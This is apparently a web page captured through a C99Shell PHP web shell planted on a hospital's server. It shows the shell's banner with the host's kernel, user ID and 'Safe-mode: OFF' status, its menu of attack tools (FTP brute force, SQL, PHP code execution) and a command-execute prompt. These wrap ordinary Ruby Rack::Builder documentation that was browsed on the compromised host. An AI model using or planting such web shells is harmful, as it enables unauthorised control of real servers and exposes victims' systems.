katebhospital.af - c99shell

!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!
Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64 uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /opt/alt/ruby18/lib64/ruby/gems/1.8/doc/rack-1.6.1/rdoc/classes/Rack/ drwxr-xr-x Free 293.41 GB of 429.69 GB (68.28%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Rack::Builder implements a small DSL to iteratively construct Rack applications.

Example:

 require 'rack/lobster'
 app = Rack::Builder.new do
   use Rack::CommonLogger
   use Rack::ShowExceptions
   map "/lobster" do
     use Rack::Lint
     run Rack::Lobster.new
   end
 end

 run app

 app = Rack::Builder.app do
   use Rack::CommonLogger
   run lambda { |env| [200, {'Content-Type' => 'text/plain'}, ['OK']] }
 end

 run app

use adds middleware to the stack, run dispatches to an application. You can use map to construct a Rack::URLMap in a convenient way.

Methods

app call map new new_from_string parse_file run to_app use warmup

Public Class methods

app(default_app = nil, &block)

new(default_app = nil,&block)

new_from_string(builder_script, file="(rackup)")

parse_file(config, opts = Server::Options.new)

Public Instance methods

call(env)

map(path, &block)

Creates a route within the application.

  Rack::Builder.app do
    map '/' do
      run Heartbeat
    end
  end

The use method can also be used here to specify middleware to run under a specific path:

  Rack::Builder.app do
    map '/' do
      use Middleware
      run Heartbeat
    end
  end

This example includes a piece of middleware which will run before requests hit Heartbeat.

run(app)

Takes an argument that is an object that responds to call and returns a Rack response. The simplest form of this is a lambda object:

  run lambda { |env| [200, { "Content-Type" => "text/plain" }, ["OK"]] }

However this could also be a class:

  class Heartbeat
    def self.call(env)
     [200, { "Content-Type" => "text/plain" }, ["OK"]]
   end
  end

  run Heartbeat

to_app()

use(middleware, *args, &block)

Specifies middleware to use in a stack.

  class Middleware
    def initialize(app)
      @app = app
    end

    def call(env)
      env["rack.some_header"] = "setting an example"
      @app.call(env)
    end
  end

  use Middleware
  run lambda { |env| [200, { "Content-Type" => "text/plain" }, ["OK"]] }

All requests through to this application will first be processed by the middleware class. The call method in this example sets an additional environment key which then can be referenced in the application if required.

warmup(prc=nil, &block)

Takes a lambda or block that is used to warm-up the application.

  warmup do |app|
    client = Rack::MockRequest.new(app)
    client.get('/')
  end

  use SomeMiddleware
  run MyApp

:: Command execute ::
Enter:	Select: